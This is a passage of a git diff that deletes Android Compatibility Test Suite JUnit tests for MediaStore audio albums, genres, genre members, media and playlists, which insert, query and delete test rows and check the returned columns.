- assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS_FOR_ARTIST)));
- c.close();
-
- // do not support update operation of the albums
- ContentValues albumValues = new ContentValues();
- albumValues.put(Albums.ALBUM, Audio2.ALBUM);
- try {
- mContentResolver.update(artistsAlbumsUri, albumValues, null, null);
- fail("Should throw UnsupportedOperationException!");
- } catch (UnsupportedOperationException e) {
- // expected
- }
-
- // do not support delete operation of the albums
- try {
- mContentResolver.delete(artistsAlbumsUri, null, null);
- fail("Should throw UnsupportedOperationException!");
- } catch (UnsupportedOperationException e) {
- // expected
- }
- } finally {
- mContentResolver.delete(audioMediaUri, null, null);
- }
- // the album items are deleted when deleting the audio media which belongs to the album
- c = mContentResolver.query(artistsAlbumsUri, null, null, null, null);
- assertEquals(0, c.getCount());
- c.close();
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java
deleted file mode 100644
index 64ed537..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_GenresTest.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.database.SQLException;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore.Audio.Genres;
-import android.provider.MediaStore.Audio.Genres.Members;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_GenresTest {
- private Context mContext;
- private ContentResolver mContentResolver;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- }
-
- @Test
- public void testGetContentUri() {
- Cursor c = null;
- assertNotNull(c = mContentResolver.query(
- Genres.getContentUri(mVolumeName), null, null,
- null, null));
- c.close();
- }
-
- @Test
- public void testStoreAudioGenresExternal() {
- // insert
- ContentValues values = new ContentValues();
- values.put(Genres.NAME, "POP");
- Uri uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
- assertNotNull(uri);
-
- try {
- // query
- Cursor c = mContentResolver.query(uri, null, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- assertEquals("POP", c.getString(c.getColumnIndex(Genres.NAME)));
- assertTrue(c.getLong(c.getColumnIndex(Genres._ID)) > 0);
- c.close();
- } finally {
- assertEquals(1, mContentResolver.delete(uri, null, null));
- }
- }
-
- @Test
- public void testGetContentUriForAudioId() {
- // Insert an audio file into the content provider.
- Uri audioUri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
- assertNotNull(audioUri);
- long audioId = ContentUris.parseId(audioUri);
- assertTrue(audioId != -1);
-
- // Insert a genre into the content provider.
- ContentValues values = new ContentValues();
- values.put(Genres.NAME, "Soda Pop");
- Uri genreUri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
- assertNotNull(genreUri);
- long genreId = ContentUris.parseId(genreUri);
- assertTrue(genreId != -1);
-
- Cursor cursor = null;
- try {
- // Check that the audio file has no genres yet.
- Uri audioGenresUri = Genres.getContentUriForAudioId(mVolumeName, (int) audioId);
- cursor = mContentResolver.query(audioGenresUri, null, null, null, null);
- assertFalse(cursor.moveToNext());
-
- // Link the audio file to the genre.
- values.clear();
- values.put(Members.AUDIO_ID, audioId);
- Uri membersUri = Members.getContentUri(mVolumeName, genreId);
- assertNotNull(mContentResolver.insert(membersUri, values));
-
- // Check that the audio file has the genre it was linked to.
- cursor = mContentResolver.query(audioGenresUri, null, null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(genreId, cursor.getLong(cursor.getColumnIndex(Genres._ID)));
- } finally {
- if (cursor != null) {
- cursor.close();
- }
- assertEquals(1, mContentResolver.delete(audioUri, null, null));
- assertEquals(1, mContentResolver.delete(genreUri, null, null));
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java
deleted file mode 100644
index 710ebbc..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Genres_MembersTest.java
+++ /dev/null
@@ -1,318 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.database.SQLException;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Genres;
-import android.provider.MediaStore.Audio.Genres.Members;
-import android.provider.MediaStore.Audio.Media;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_Genres_MembersTest {
- private Context mContext;
- private ContentResolver mContentResolver;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- private long mAudioIdOfJam;
-
- private long mAudioIdOfJamLive;
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
-
- Uri uri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
- Cursor c = mContentResolver.query(uri, null, null, null, null);
- c.moveToFirst();
- mAudioIdOfJam = c.getLong(c.getColumnIndex(Media._ID));
- c.close();
-
- uri = Audio2.getInstance().insert(mContentResolver, mVolumeName);
- c = mContentResolver.query(uri, null, null, null, null);
- c.moveToFirst();
- mAudioIdOfJamLive = c.getLong(c.getColumnIndex(Media._ID));
- c.close();
- }
-
- @After
- public void tearDown() throws Exception {
- // "jam" should already have been deleted as part of the test, but delete it again just
- // in case the test failed and aborted before that.
- mContentResolver.delete(Media.getContentUri(mVolumeName),
- Media._ID + "=" + mAudioIdOfJam, null);
- mContentResolver.delete(Media.getContentUri(mVolumeName),
- Media._ID + "=" + mAudioIdOfJamLive, null);
- }
-
- @Test
- public void testGetContentUri() {
- Cursor c = null;
- assertNotNull(c = mContentResolver.query(
- Members.getContentUri(mVolumeName, 1), null,
- null, null, null));
- c.close();
- }
-
- @Test
- public void testStoreAudioGenresMembersExternal() {
- ContentValues values = new ContentValues();
- values.put(Genres.NAME, Audio1.GENRE);
- Uri uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
- Cursor c = mContentResolver.query(uri, null, null, null, null);
- c.moveToFirst();
-
- long genreId = c.getLong(c.getColumnIndex(Genres._ID));
- long genre2Id = -1; // used later
- c.close();
-
- // verify that the Uri has the correct format and genre value
- assertEquals(ContentUris.withAppendedId(Genres.getContentUri(mVolumeName), genreId),
- uri);
-
- // insert audio as the member of the genre
- values.clear();
- values.put(Members.AUDIO_ID, mAudioIdOfJam);
- Uri membersUri = Members.getContentUri(mVolumeName, genreId);
- assertNotNull(mContentResolver.insert(membersUri, values));
-
- try {
- // query, slow path
- c = mContentResolver.query(membersUri, null, null, null, null);
-
- assertEquals(1, c.getCount());
- c.moveToFirst();
-
- assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
- assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
- assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members._ID)));
- final String expected1 = Audio1.getInstance().getContentValues(mVolumeName)
- .getAsString(Members.DATA);
- assertEquals(expected1, c.getString(c.getColumnIndex(Members.DATA)));
- assertTrue(c.getLong(c.getColumnIndex(Members.DATE_ADDED)) > 0);
- assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Members.DATE_MODIFIED)));
- assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Members.DISPLAY_NAME)));
- assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Members.MIME_TYPE)));
- assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Members.SIZE)));
- assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Members.TITLE)));
- assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Members.ALBUM)));
- String albumKey = c.getString(c.getColumnIndex(Members.ALBUM_KEY));
- assertNotNull(albumKey);
- long albumId = c.getLong(c.getColumnIndex(Members.ALBUM_ID));
- assertTrue(albumId > 0);
- assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Members.ARTIST)));
- String artistKey = c.getString(c.getColumnIndex(Members.ARTIST_KEY));
- assertNotNull(artistKey);
- long artistId = c.getLong(c.getColumnIndex(Members.ARTIST_ID));
- assertTrue(artistId > 0);
- assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Members.COMPOSER)));
- assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Members.DURATION)));
- assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Members.IS_ALARM)));
- assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Members.IS_MUSIC)));
- assertEquals(Audio1.IS_NOTIFICATION,
- c.getInt(c.getColumnIndex(Members.IS_NOTIFICATION)));
- assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Members.IS_RINGTONE)));
- assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Members.TRACK)));
- assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Members.YEAR)));
- String titleKey = c.getString(c.getColumnIndex(Members.TITLE_KEY));
- assertNotNull(titleKey);
- c.close();
-
- // query again, fast path
- c = mContentResolver.query(membersUri,
- new String[] { Members.AUDIO_ID, Members.GENRE_ID},
- null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
- assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
- c.close();
-
- // Query with a constraint on _id. Note that _id corresponds to the _id
- // column in the audio table, not the one in the audio_genres_map table.
- // We need to preserve this behavior for backward compatibility.
- c = mContentResolver.query(membersUri, null,
- Members._ID + "=?", new String[] {Long.toString(mAudioIdOfJam)}, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members._ID)));
- c.close();
-
- // Query members across all genres
- // TODO: migrate this to using public API
- Uri allMembersUri = MediaStore.Audio.Genres.getContentUri(mVolumeName).buildUpon()
- .appendPath("all").appendPath("members").build();
- c = mContentResolver.query(allMembersUri, null, null, null, null);
- int colidx = c.getColumnIndex(Members.AUDIO_ID);
- int jamcnt = 0;
- // The song should appear only once, for the genre we used when inserting it
- while(c.moveToNext()) {
- if (c.getLong(colidx) == mAudioIdOfJam) {
- jamcnt++;
- assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
- }
- }
- assertEquals(1, jamcnt);
- c.close();
-
- // Query the same Uri, but add a where clause to restrict it to the one entry we added
- c = mContentResolver.query(allMembersUri, null,
- Members.AUDIO_ID + "=?", new String[] {Long.toString(mAudioIdOfJam)}, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
- assertEquals(mAudioIdOfJam, c.getLong(c.getColumnIndex(Members.AUDIO_ID)));
- c.close();
-
- // create another genre
- values.clear();
- values.put(Genres.NAME, Audio1.GENRE + "-2");
- uri = mContentResolver.insert(Genres.getContentUri(mVolumeName), values);
- c = mContentResolver.query(uri, null, null, null, null);
- c.moveToFirst();
- genre2Id = c.getLong(c.getColumnIndex(Genres._ID));
- c.close();
-
- // insert the song into the second genre
- values.clear();
- values.put(Members.AUDIO_ID, mAudioIdOfJam);
- Uri members2Uri = Members.getContentUri(mVolumeName, genre2Id);
- assertNotNull(mContentResolver.insert(members2Uri, values));
-
- // Query members across all genres again
- c = mContentResolver.query(allMembersUri, null, null, null, null);
- colidx = c.getColumnIndex(Members.AUDIO_ID);
- int jamcnt1 = 0;
- int jamcnt2 = 0;
- // This time the song should appear twice, once for each genre
- while(c.moveToNext()) {
- if (c.getLong(colidx) == mAudioIdOfJam) {
- long g = c.getLong(c.getColumnIndex(Members.GENRE_ID));
- if (g == genreId) {
- jamcnt1++;
- } else if (g == genre2Id) {
- jamcnt2++;
- } else {
- fail("wrong genre found");
- }
- }
- }
- assertEquals(1, jamcnt1);
- assertEquals(1, jamcnt2);
- c.close();
-
- // Delete the members, note that this does not delete the genre itself
- assertEquals(1, mContentResolver.delete(membersUri, null, null)); // check number of rows deleted
-
- // verify the genre is now empty
- c = mContentResolver.query(membersUri, null, null, null, null);
- assertEquals(0, c.getCount());
- c.close();
-
- // same for 2nd genre
- assertEquals(1, mContentResolver.delete(members2Uri, null, null));
- c = mContentResolver.query(members2Uri, null, null, null, null);
- assertEquals(0, c.getCount());
- c.close();
-
- // insert again, then verify that deleting the audio entry cleans up its genre member
- // entry as well
- values.put(Members.AUDIO_ID, mAudioIdOfJam);
- membersUri = Members.getContentUri(mVolumeName, genreId);
- assertNotNull(mContentResolver.insert(membersUri, values));
- // Query members across all genres
- c = mContentResolver.query(allMembersUri,
- new String[] { Members.AUDIO_ID, Members.GENRE_ID}, null, null, null);
- colidx = c.getColumnIndex(Members.AUDIO_ID);
- jamcnt = 0;
- // The song should appear only once, for the genre we used when inserting it
- while(c.moveToNext()) {
- if (c.getLong(colidx) == mAudioIdOfJam) {
- jamcnt++;
- assertEquals(genreId, c.getLong(c.getColumnIndex(Members.GENRE_ID)));
- }
- }
- assertEquals(1, jamcnt);
- c.close();
- mContentResolver.delete(Media.getContentUri(mVolumeName),
- Media._ID + "=" + mAudioIdOfJam, null);
- // Query members across all genres
- c = mContentResolver.query(allMembersUri,
- new String[] { Members.AUDIO_ID, Members.GENRE_ID}, null, null, null);
- colidx = c.getColumnIndex(Members.AUDIO_ID);
- jamcnt = 0;
- // The song should no longer appear in the genre
- while(c.moveToNext()) {
- if (c.getLong(colidx) == mAudioIdOfJam) {
- jamcnt++;
- }
- }
- assertEquals(0, jamcnt);
- c.close();
- } finally {
- // the members are deleted when deleting the genre which they belong to
- mContentResolver.delete(Genres.getContentUri(mVolumeName),
- Genres._ID + "=" + genreId, null);
- if (genre2Id >= 0) {
- mContentResolver.delete(Genres.getContentUri(mVolumeName),
- Genres._ID + "=" + genre2Id, null);
- }
- c = mContentResolver.query(membersUri, null, null, null, null);
- assertEquals(0, c.getCount());
- c.close();
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
deleted file mode 100644
index 4a8afe7..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_MediaTest.java
+++ /dev/null
@@ -1,203 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Environment;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Media;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_MediaTest {
- private Context mContext;
- private ContentResolver mContentResolver;
-
- private Uri mExternalAudio;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
- }
-
- @Test
- public void testGetContentUri() {
- Cursor c = null;
- assertNotNull(c = mContentResolver.query(
- Media.getContentUri(mVolumeName), null, null,
- null, null));
- c.close();
- }
-
- @Test
- public void testGetContentUriForPath() {
- Cursor c = null;
- String externalPath = Environment.getExternalStorageDirectory().getPath();
- assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(externalPath), null, null,
- null, null));
- c.close();
-
- String internalPath = mContext.getFilesDir().getAbsolutePath();
- assertNotNull(c = mContentResolver.query(Media.getContentUriForPath(internalPath), null, null,
- null, null));
- c.close();
- }
-
- @Test
- public void testStoreAudioMedia() {
- Audio1 audio1 = Audio1.getInstance();
- ContentValues values = audio1.getContentValues(mVolumeName);
- //insert
- Uri mediaUri = Media.getContentUri(mVolumeName);
- Uri uri = mContentResolver.insert(mediaUri, values);
- assertNotNull(uri);
-
- try {
- // query
- // the following columns in the table are generated automatically when inserting:
- // _ID, DATE_ADDED, ALBUM_ID, ALBUM_KEY, ARTIST_ID, ARTIST_KEY, TITLE_KEY
- // the column DISPLAY_NAME will be ignored when inserting
- Cursor c = mContentResolver.query(uri, null, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- long id = c.getLong(c.getColumnIndex(Media._ID));
- assertTrue(id > 0);
- String expected = audio1.getContentValues(mVolumeName).getAsString(Media.DATA);
- assertEquals(expected, c.getString(c.getColumnIndex(Media.DATA)));
- assertTrue(c.getLong(c.getColumnIndex(Media.DATE_ADDED)) > 0);
- assertEquals(Audio1.DATE_MODIFIED, c.getLong(c.getColumnIndex(Media.DATE_MODIFIED)));
- assertEquals(Audio1.DISPLAY_NAME, c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
- assertEquals(Audio1.MIME_TYPE, c.getString(c.getColumnIndex(Media.MIME_TYPE)));
- assertEquals(Audio1.SIZE, c.getInt(c.getColumnIndex(Media.SIZE)));
- assertEquals(Audio1.TITLE, c.getString(c.getColumnIndex(Media.TITLE)));
- assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Media.ALBUM)));
- String albumKey = c.getString(c.getColumnIndex(Media.ALBUM_KEY));
- assertNotNull(albumKey);
- long albumId = c.getLong(c.getColumnIndex(Media.ALBUM_ID));
- assertTrue(albumId > 0);
- assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Media.ARTIST)));
- String artistKey = c.getString(c.getColumnIndex(Media.ARTIST_KEY));
- assertNotNull(artistKey);
- long artistId = c.getLong(c.getColumnIndex(Media.ARTIST_ID));
- assertTrue(artistId > 0);
- assertEquals(Audio1.COMPOSER, c.getString(c.getColumnIndex(Media.COMPOSER)));
- assertEquals(Audio1.DURATION, c.getLong(c.getColumnIndex(Media.DURATION)));
- assertEquals(Audio1.IS_ALARM, c.getInt(c.getColumnIndex(Media.IS_ALARM)));
- assertEquals(Audio1.IS_MUSIC, c.getInt(c.getColumnIndex(Media.IS_MUSIC)));
- assertEquals(Audio1.IS_NOTIFICATION, c.getInt(c.getColumnIndex(Media.IS_NOTIFICATION)));
- assertEquals(Audio1.IS_RINGTONE, c.getInt(c.getColumnIndex(Media.IS_RINGTONE)));
- assertEquals(Audio1.TRACK, c.getInt(c.getColumnIndex(Media.TRACK)));
- assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Media.YEAR)));
- String titleKey = c.getString(c.getColumnIndex(Media.TITLE_KEY));
- assertNotNull(titleKey);
- c.close();
-
- // test filtering
- Uri baseUri = Media.getContentUri(mVolumeName);
- Uri filterUri = baseUri.buildUpon()
- .appendQueryParameter("filter", Audio1.ARTIST).build();
- c = mContentResolver.query(filterUri, null, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- long fid = c.getLong(c.getColumnIndex(Media._ID));
- assertTrue(id == fid);
- c.close();
-
- filterUri = baseUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
- c = mContentResolver.query(filterUri, null, null, null, null);
- assertEquals(0, c.getCount());
- c.close();
- } finally {
- // delete
- int result = mContentResolver.delete(uri, null, null);
- assertEquals(1, result);
- }
- }
-
- @Test
- public void testCanonicalize() throws Exception {
- // Remove all audio left over from other tests
- ProviderTestUtils.executeShellCommand("content delete"
- + " --user " + InstrumentationRegistry.getTargetContext().getUserId()
- + " --uri " + mExternalAudio,
- InstrumentationRegistry.getInstrumentation().getUiAutomation());
-
- // Publish some content
- final File dir = ProviderTestUtils.stageDir(mVolumeName);
- final Uri a = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.testmp3_2, new File(dir, "a.mp3")));
- final Uri b = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.testmp3, new File(dir, "b.mp3")));
- final Uri c = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.testmp3_2, new File(dir, "c.mp3")));
-
- // Confirm we can canonicalize and recover it
- final Uri canonicalized = mContentResolver.canonicalize(b);
- assertNotNull(canonicalized);
- assertEquals(b, mContentResolver.uncanonicalize(canonicalized));
-
- // Delete all items above
- mContentResolver.delete(a, null, null);
- mContentResolver.delete(b, null, null);
- mContentResolver.delete(c, null, null);
-
- // Confirm canonical item isn't found
- assertNull(mContentResolver.uncanonicalize(canonicalized));
-
- // Publish data again and confirm we can recover it
- final Uri d = ProviderTestUtils.scanFileFromShell(
- ProviderTestUtils.stageFile(R.raw.testmp3, new File(dir, "d.mp3")));
- assertEquals(d, mContentResolver.uncanonicalize(canonicalized));
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java
deleted file mode 100644
index 78cbef0..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_PlaylistsTest.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.database.SQLException;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore.Audio.Playlists;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_PlaylistsTest {
- private Context mContext;
- private ContentResolver mContentResolver;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- }
-
- @Test
- public void testGetContentUri() {
- Cursor c = null;
- assertNotNull(c = mContentResolver.query(
- Playlists.getContentUri(mVolumeName), null, null,
- null, null));
- c.close();
- }
-
- @Test
- public void testStoreAudioPlaylistsExternal() throws Exception {
- final String externalPlaylistPath = new File(ProviderTestUtils.stageDir(mVolumeName),
- "my_favorites.pl").getAbsolutePath();
- ContentValues values = new ContentValues();
- values.put(Playlists.NAME, "My favourites");
- values.put(Playlists.DATA, externalPlaylistPath);
- long dateAdded = System.currentTimeMillis() / 1000;
- long dateModified = System.currentTimeMillis() / 1000;
- values.put(Playlists.DATE_MODIFIED, dateModified);
- // insert
- Uri uri = mContentResolver.insert(Playlists.getContentUri(mVolumeName), values);
- assertNotNull(uri);
-
- try {
- // query
- Cursor c = mContentResolver.query(uri, null, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- assertEquals("My favourites", c.getString(c.getColumnIndex(Playlists.NAME)));
- assertEquals(externalPlaylistPath,
- c.getString(c.getColumnIndex(Playlists.DATA)));
-
- long realDateAdded = c.getLong(c.getColumnIndex(Playlists.DATE_ADDED));
- assertTrue(realDateAdded >= dateAdded);
- assertEquals(dateModified, c.getLong(c.getColumnIndex(Playlists.DATE_MODIFIED)));
- assertTrue(c.getLong(c.getColumnIndex(Playlists._ID)) > 0);
- c.close();
- } finally {
- assertEquals(1, mContentResolver.delete(uri, null, null));
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java
deleted file mode 100644
index 0db80d9..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Playlists_MembersTest.java
+++ /dev/null
@@ -1,487 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Media;
-import android.provider.MediaStore.Audio.Playlists;
-import android.provider.MediaStore.Audio.Playlists.Members;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio3;
